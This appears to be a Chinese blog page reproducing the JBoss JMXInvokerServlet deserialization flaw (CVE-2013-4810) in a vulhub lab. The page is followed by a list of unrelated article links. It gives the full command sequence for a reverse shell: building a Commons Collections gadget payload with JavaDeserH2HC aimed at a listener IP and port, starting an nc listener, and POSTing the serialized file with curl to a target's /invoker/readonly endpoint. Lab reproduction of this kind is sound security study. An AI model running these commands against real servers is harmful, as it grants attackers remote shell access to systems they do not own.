当前位置: 首页 > news >正文

JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

环境

vulhub/jboss/JMXInvokerServlet-deserialization

复现

此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。访问若提示下载

JMXInvokerServlet,则可能存在漏洞:

1.访问123.57.211.129:8081/invoker/JMXInvokerServlet

使⽤JavaDeserH2HC进⾏反弹shell

#创建class⽂件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHa
shMap.java
#创建反序列化⽂件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 47.121.212.101:6666
#监听 6666 端⼝
nc -lvvp 6666
#psot提交
curl http://123.57.211.129:8081/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

创建class⽂件

创建反序列化⽂件

监听6666端⼝

psot提交

完成

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Android——内部/外部存储
  • Fyne ( go跨平台GUI )中文文档-容器和布局 (四)
  • 操作系统笔记三
  • C++笔记---set和map
  • ElasticSearch数据类型和分词器
  • (十五)、把自己的镜像推送到 DockerHub
  • python中网络爬虫框架
  • 机械快门,电子快门,电子前帘快门 的原理
  • SPECFEM手册的一些翻译(Chapter 4)
  • Qt 状态机编程,双层状态机,实现暂停恢复
  • 【手写数据库内核组件】1001词法分析器,语言被程序识别的第一步,将语句分解为最小词根token
  • 常见框架漏洞复现
  • 不同语言的switch/case语句
  • 【通讯协议】S32K142芯片——LIN通信的学习和配置
  • ActiveMQ 的消息持久化策略
  • 实现windows 窗体的自己画,网上摘抄的,学习了
  • 【许晓笛】 EOS 智能合约案例解析(3)
  • ➹使用webpack配置多页面应用(MPA)
  • CSS中外联样式表代表的含义
  • Docker入门(二) - Dockerfile
  • express.js的介绍及使用
  • HTML5新特性总结
  • Java 11 发布计划来了,已确定 3个 新特性!!
  • java取消线程实例
  • MySQL几个简单SQL的优化
  • 从0到1:PostCSS 插件开发最佳实践
  • 工作踩坑系列——https访问遇到“已阻止载入混合活动内容”
  • 基于阿里云移动推送的移动应用推送模式最佳实践
  • 微信端页面使用-webkit-box和绝对定位时,元素上移的问题
  • 微信小程序:实现悬浮返回和分享按钮
  • Nginx惊现漏洞 百万网站面临“拖库”风险
  • 直播平台建设千万不要忘记流媒体服务器的存在 ...
  • ​MPV,汽车产品里一个特殊品类的进化过程
  • #单片机(TB6600驱动42步进电机)
  • #数据结构 笔记三
  • ( 用例图)定义了系统的功能需求,它是从系统的外部看系统功能,并不描述系统内部对功能的具体实现
  • (22)C#传智:复习,多态虚方法抽象类接口,静态类,String与StringBuilder,集合泛型List与Dictionary,文件类,结构与类的区别
  • (4)事件处理——(2)在页面加载的时候执行任务(Performing tasks on page load)...
  • (C++二叉树05) 合并二叉树 二叉搜索树中的搜索 验证二叉搜索树
  • (Charles)如何抓取手机http的报文
  • (Matalb时序预测)WOA-BP鲸鱼算法优化BP神经网络的多维时序回归预测
  • (web自动化测试+python)1
  • (八)光盘的挂载与解挂、挂载CentOS镜像、rpm安装软件详细学习笔记
  • (论文阅读40-45)图像描述1
  • (一)硬件制作--从零开始自制linux掌上电脑(F1C200S) <嵌入式项目>
  • (转)树状数组
  • ******IT公司面试题汇总+优秀技术博客汇总
  • .gitignore不生效的解决方案
  • .NetCore Flurl.Http 升级到4.0后 https 无法建立SSL连接
  • .NET业务框架的构建
  • /ThinkPHP/Library/Think/Storage/Driver/File.class.php  LINE: 48
  • @RequestMapping用法详解
  • [2024-06]-[大模型]-[Ollama]- WebUI
  • [240727] Qt Creator 14 发布 | AMD 推迟 Ryzen 9000芯片发布
  • [AUTOSAR][诊断管理][ECU][$37] 请求退出传输。终止数据传输的(上传/下载)